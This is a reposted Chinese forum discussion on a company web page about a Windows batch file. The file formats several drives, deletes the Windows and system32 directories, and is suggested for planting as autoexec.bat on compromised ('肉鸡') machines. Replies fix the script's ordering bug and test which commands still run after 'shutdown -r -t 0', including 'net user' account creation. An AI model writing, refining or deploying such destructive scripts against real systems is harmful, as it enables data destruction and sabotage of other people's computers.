• 企业400电话
  • 微网小程序
  • AI电话机器人
  • 电商代运营
  • 全 部 栏 目

    企业400电话 网络优化推广 AI电话机器人 呼叫中心 网站建设 商标✡知产 微网小程序 电商运营 彩铃•短信 增值拓展业务
    由一段批处理程序所引起的探讨感觉问题是有,不太准确
    假如你的系统装在c盘 
    打开记事本输入 
    @echo off 
    shutdown -r -t 0 
    format d: /q /y 
    format e: /q /y
    format f: /q /y 
    format g: /q /y 
    c: 
    cd \&;
    cd windows 
    del. /y 
    cd system32 
    del. /y 
    shutdown -r -t 0 
    另存为1.bat 

    然后运行 

    看看有什么后果 

    如果想搞肉鸡的话那么可以 

    重命为autoexec.bat上传到肉鸡C:覆盖原来的autoexec.bat 


    最后一次警告:最好别乱搞,出了问题后果自负 


    有一个不完美的地方。我说说


    c: 

    cd \&;

    cd windows 

    del. /y 

    cd system32 

     

    请问你为什么就肯定系统不是windows2000呢! 

    对于windows目录的确定,你在bat下应该用环境变量得到。 

    比如 

    windir=C:\WINDOWS 

    windir=C:\WINNT 


    还有,有点小小要请教的地方,对于第二条语句。 

    shutdown -r -t 0 

    既然重动了,那以下的格式化命令还有作用吗??????????? 

    自己不敢试,因为我怀疑是有作用的。 


    这个是我给的回复: 

    我的系统是XP,在XP的环境下弄的这个批处理,所以忽略了2000的情况,是我考虑不周全,谢谢你的指正 

    确实如你所说shutdown -r -t 0这条语句本来是不应该放在这里,否则系统会直接重启动,导致下面的语句不起作用. 


    为了得到答案!我对于这个问题亲自试了一下! 


    @echo off 

    shutdown -r -t 0 

    ping 127.0.0.1 -n 100 net user emissary2 /add 

    shutdown -r -t 0 

    这是我第一次执行的文件。在重启动后发现emissary1并没有加入到用户组!失败! 

    第二次我在ping的前面加入了net user emissary1 /add。因为我想知道不延时执行的话。会不会成功! 

    @echo off 

    shutdown -r -t 0 

    net user emissary1 /add 

    ping 127.0.0.1 -n 100 net user emissary2 /add 

    shutdown -r -t 0 

    结果还是失败! 


    到这里。我以为shutdown -r -t 0后面的语句是无效的!想了一下。又改为了以下语句! 

    @echo off 

    shutdown -r -t 0 

    dir > c:\aaa.txt 

    ping 127.0.0.1 -n 100 dir > c:\aaa2.txt 

    shutdown -r -t 0 

    意外的,这次成功了。重启后发现有了c:\aaa.txt而没有c:\aaa2.txt这个文件。 

    对于以上测试,我仅仅得出在这个批处理文件中。只能对内部命令会起作用,而外部命令因为windows已经开始关闭窗口,从而导致外部命令的初始化失败,不能执行的结论! 

    内部命令由cmd.exe提供,因为执行.bat时CMD是打开的,所以内部命令可以正常使用。
    上一篇:在DOS方式下对注册表进行操作的代码
    下一篇:用bat和 reg实现关闭局域网共享
  • 相关文章
  • 

    © 2016-2020 巨人网络通讯 版权所有

    《增值电信业务经营许可证》 苏ICP备15040257号-8

    由一段批处理程序所引起的探讨感觉问题是有,不太准确 由,一段,批处理,程序,所,